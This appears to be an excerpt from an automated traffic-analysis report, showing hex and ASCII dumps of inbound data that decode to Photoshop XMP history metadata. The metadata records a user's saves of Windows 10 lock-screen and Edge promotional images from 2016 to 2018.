43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 30 37 2d 32 36 54 31 38 3a 32 34 3a 33 31 2d 30 37 3a 30 30 26 23 
Data Ascii: ved&#xA;2016-07-26T18:17:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Por
trait.psd saved&#xA;2016-07-26T18:23:29-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Por
trait.psd saved&#xA;2016-07-26T18:24:31-07:00&#
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2022-05-13 14:42:07 UTC 2693 IN Data Raw: 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 33 39 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 38 3a 35 30 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
Data Ascii: 0.jpg saved&#xA;2016-08-31T13:42:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x
1920_Portrait.psd saved&#xA;2016-09-12T10:26:08-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;20
16-09-12T10:28:50-07:00&#x9;File C:\Users\v-liz

2022-05-13 14:42:07 UTC 2757 IN Data Raw: 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 39 35 36 39 35 32 39 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 31 30 2d 31 37 54 31 38 3a 33 34 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 52 65 61 64 
69 6e 67 56 69 65 77 5f 4e 6f 64 69 73 74 72 61 63 74 69 6f 6e 73 2d 43 6f 6e 63 65 6e 74 72 61 74 69 6e 67 2d 46 6f 63 
75 73 2d 53 69 6d 70 6c 69 63 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 35 37 38 31 39 35 33 37 37 5f 31 30 38 30 78 
Data Ascii: ity\EdgeSurge-ReadingView_GettyImages-95695291_1080x1920.jpg saved&#xA;2016-10-17T18:34:53-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Surge\ReadingView_Nodistractions-Concentrating-Focus-Sim
plicity\EdgeSurge-ReadingView_GettyImages-578195377_1080x

2022-05-13 14:42:07 UTC 2805 IN Data Raw: 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 36 32 30 39 32 38 32 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 
6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 34 39 35 38 37 35 5f 31 30 38 30 78 3
1 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 34 35 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: s10\Cortana\Cortana-Reminder_GettyImages-620928239_1080x1920.jpg saved&#xA;2016-11-14T15:55:37-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Cortana-Reminder_GettyImages-665495875_1080x1920.jpg 
saved&#xA;2016-11-14T15:55:45-08:00&#x9;File C:\Users

2022-05-13 14:42:07 UTC 2855 IN Data Raw: 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 
50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 
74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 30 
38 39 32 34 38 30 5f 31 30 38 30 78 31 39 32 30 45 36 44 39 31 43 44 33 36 38 33 31 39 46 44 30 32 34 37 46 39 43 34 
36 31 44 39 41 46 30 30 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 31 3a 31 
38 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 
Data Ascii: -lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-WinterEntertainment-Oscar
s_GettyImages-150892480_1080x1920E6D91CD368319FD0247F9C461D9AF007.psb saved&#xA;2017-01-20T11:18:59-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTi

2022-05-13 14:42:07 UTC 2887 IN Data Raw: 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 34 37 36 33 39 35 32 5f 31 30 38 30 78 31 39 32 30 2e 
6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 35 3a 30 33 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 45 64 67 65 5c 4e 41 41 45 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 34 38 34 30 30 36 30 35 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 36 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
Data Ascii: AEE_GettyImages-474763952_1080x1920.jpg saved&#xA;2017-02-23T09:45:03-08:00&#x9;File C:\Users\v-li
zagh\MS\Windows10\Edge\NAAEE\CHOSEN\Crops\Edge-NAAEE_GettyImages-484006054_1080x1920.jpg s
aved&#xA;2017-02-23T09:46:49-08:00&#x9;File C:\Users\v-lizagh\MS\Wi

2022-05-13 14:42:07 UTC 3030 IN Data Raw: 74 2d 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 37 31 38 38 36 38 38 5f 31 30 38 30 78 31 
39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 31 31 3a 30 33 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 35 3a 31 36 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 
Data Ascii: t-April_GettyImages-517188688_1080x1920.jpg saved&#xA;2017-03-14T12:11:03-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-03-15T15:16:30-07:00&#x9;File Lockscree
n_1080x1920_Portrait.psd opened&#xA;2017-03-15T

2022-05-13 14:42:07 UTC 3077 IN Data Raw: 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 36 37 37 36 36 37 36 
5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 31 3a 
30 30 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 
6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 
73 2d 35 31 32 35 32 36 36 32 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 34 2d 31 38 54 31 31 3a 30 33 3a 31 31 2d 30 37 3a 30 
Data Ascii: mpoweringTools_GettyImages-486776676_1080x1920.jpg saved&#xA;2017-04-18T11:00:07-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-5
12526623_1080x1920.jpg saved&#xA;2017-04-18T11:03:11-07:0

2022-05-13 14:42:07 UTC 3093 IN Data Raw: 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 
69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 34 36 35 34 38 31 30 5f 31 30 38 30 78 31 39 32 30 
2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 33 30 3a 32 34 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 
6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 31 37 35 32 30 30 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 
Data Ascii: \MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn_GettyImages-144654810_1080x1920.jpg saved&#xA;2017-
05-15T15:30:24-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn
_GettyImages-571752001_1080x1920.jpg saved&#xA;2017-05-15

Timestamp
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2022-05-13 14:42:07 UTC 3141 IN Data Raw: 65 2d 4d 53 52 65 77 61 72 64 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 37 34 35 33 30 39 38 5f 31 30 
38 30 78 31 39 32 30 31 41 35 37 33 32 35 44 38 33 38 43 37 34 30 42 39 30 39 34 44 42 43 32 42 44 39 30 36 34 33 42 
2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 36 54 31 33 3a 30 37 3a 32 32 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 6
5 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 32 33 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 
Data Ascii: e-MSRewards_GettyImages-117453098_1080x19201A57325D838C740B9094DBC2BD90643B.psb 
saved&#xA;2017-06-06T13:07:22-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd 
saved&#xA;2017-06-07T08:23:48-07:00&#x9;File Lockscreen_1080x1920

2022-05-13 14:42:07 UTC 3189 IN Data Raw: 49 6d 61 67 65 73 2d 36 37 35 36 30 35 38 31 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 38 3a 35 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 
64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 
77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 36 36 37 31 30 36 32 5f 31 30 38 30 78 31 39 
32 30 43 39 43 30 46 32 30 45 45 46 37 41 41 33 34 46 33 38 44 35 42 44 39 30 45 45 31 39 34 38 45 33 2e 70 73 62 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 
Data Ascii: Images-675605811_1080x1920.jpg saved&#xA;2017-07-13T18:55-07:00&#x9;File C:\Users\v-lizagh\AppData
\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Windows10-Tips_GettyImages-106671062_1080x1920C9
C0F20EEF7AA34F38D5BD90EE1948E3.psb saved&#xA;2017-07-13T1

2022-05-13 14:42:07 UTC 3228 IN Data Raw: 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 55 53 2d 4f 70 65 6e 5c 43 68 6f 
73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 31 34 30 34 31 39 
39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 30 54 31 
38 3a 30 31 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 
72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
Data Ascii: :06-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\US-Open\Chosen\Crops\MIT-
USopen_GettyImages-814041990_1080x1920.jpg saved&#xA;2017-08-10T18:01:58-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;201

2022-05-13 14:42:07 UTC 3244 IN Data Raw: 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 2d 4e 6f 74 
65 62 6f 6f 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 5f 31 30 38 30 78 31 39 32 30 34 30 30 
46 36 30 35 46 36 32 36 46 31 37 44 34 44 32 45 44 35 33 38 33 37 45 32 39 44 30 46 45 2e 70 73 62 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 37 3a 32 39 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 3
7 2d 30 38 2d 33 30 54 32 31 3a 33 31 3a 31 32 2d 30 37 3a 30 30 
Data Ascii: 17\AutoRecover\_HealthyLifestyle-Notebook_GettyImages-531607773_1080x1920400F605F626F17D
4D2ED53837E29D0FE.psb saved&#xA;2017-08-29T17:29:13-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lo
ckscreen_1080x1920_Portrait.psd saved&#xA;2017-08-30T21:31:12-07:00

2022-05-13 14:42:07 UTC 3276 IN Data Raw: 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 
26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 35 54 31 36 3a 30 31 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 
64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 35 54 31 36 3a 30 39 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 6
7 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 43 72 6
f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4d 6f 72 61 69 6e 
Data Ascii: kscreen_1080x1920_Portrait.psd saved&#xA;2017-10-25T16:01:33-07:00&#x9;File Lockscreen_1080x1920_P
ortrait.psd opened&#xA;2017-10-25T16:09:52-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\
Lock2017_Batch9\CHOSEN\Crops\Lock2017-B9_Morain

2022-05-13 14:42:07 UTC 3292 IN Data Raw: 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 50 
61 70 61 72 6f 61 4e 50 4e 65 77 5a 65 6c 61 6e 64 5f 35 30 30 70 78 2d 36 36 35 35 30 30 34 39 5f 31 30 38 30 78 31 
39 32 30 37 42 39 34 38 34 42 38 34 44 41 37 41 44 38 38 41 35 32 45 38 36 42 44 35 42 39 38 31 39 30 38 2e 70 73 62 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 36 3a 31 36 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 
69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 
45 4e 5c 52 65 70 6c 61 63 65 6d 65 6e 74 73 5c 4c 6f 63 6b 32 30 31 
Data Ascii: p CC 2017\AutoRecover\_Lock2017-B9_PaparoaNPNewZeland_500px-66550049_1080x19207B9484B84D
A7AD88A52E86BD5B981908.psb saved&#xA;2017-12-04T13:26:16-08:00&#x9;File C:\Users\v-lizagh\MS\Windows
10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\Replacements\Lock201

2022-05-13 14:42:07 UTC 3339 IN Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 
69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 53 70 6f 74 6c 69 67 68 74 46 59 
31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 32 31 32 34 31 30 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 35 3a 31 32 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 
69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 53 70 
6f 74 6c 69 67 68 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 
Data Ascii: s\v-lizagh\MS\Windows10\Office\Spotlight_FY18\CHOSEN\Crops\OfficeSpotlightFY18_GettyImages-1221241
05_1080x1920.psd saved&#xA;2017-12-14T15:12:56-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_
FY18\CHOSEN\Crops\OfficeSpotlightFY18_GettyImag

2022-05-13 14:42:07 UTC 3395 IN Data Raw: 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 
6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 
43 72 6f 70 73 5c 4d 49 54 2d 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 
38 31 34 34 35 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 
32 34 54 31 36 3a 30 35 3a 30 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 56 61 6c 65 6e 74 
69 6e 65 73 44 61 79 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 
Data Ascii: ile C:\Users\v-lizagh\MS\Windows10\MomentsInTime\ValentinesDay\2018\CHOSEN\Crops\MIT-Val
entinesDay_GettyImages-504814454_1080x1920.jpg saved&#xA;2018-01-24T16:05:09-08:00&#x9;File C:\Users\v-lizagh\
MS\Windows10\MomentsInTime\ValentinesDay\2018\CHOSEN\Crop

Timestamp
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2022-05-13 14:42:07 UTC 3411 IN Data Raw: 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 
33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 31 54 31 38 3a 31 36 3a 
34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 
32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 30 38 3
a 33 31 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 
32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 
Data Ascii: 20_PortraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-02-21T18:16:45-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1080x1920_Portrait.psd saved&#xA;2018-02-26T08:31:12-
08:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened

2022-05-13 14:42:07 UTC 3522 IN Data Raw: 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 
35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 
30 33 2d 30 39 54 31 32 3a 31 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 42 61 74 63 68 3
3 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 4d 58 5f 65 73 74 6f 63 6b 5f 32 30 30 31 2d 33 39 34 39 30 37 2d 30 31 5f 
31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 39 54 31 32 3a 31 
36 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
Data Ascii: reen_1080x1920_PortraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-03-09T12:15:37-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\Batch3\CHOSEN\Crops\MMX_estock_2001-394907-
01_1080x1920.jpg saved&#xA;2018-03-09T12:16:14-08:00&#x9;File C:

2022-05-13 14:42:07 UTC 3570 IN Data Raw: 38 31 37 38 36 30 44 38 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 45 43 35 38 45 30 
39 38 46 37 31 45 34 43 39 34 46 30 33 43 39 38 35 32 33 43 41 43 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 30 33 45 44 37 31 32 43 30 38 34 45 46 36 42 30 42 39 35 30 32 46 30 30 43 38 45 42 46 42 45 41 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 46 37 41 41 46 35 41 34 33 44 38 44 31 33 34 33 37 34 44 32 41 31 36 
32 44 34 39 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 46 42 44 39 43 42 43 43 37 42 33 45 
32 44 34 38 30 43 34 43 46 38 41 31 34 33 32 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 34 30 
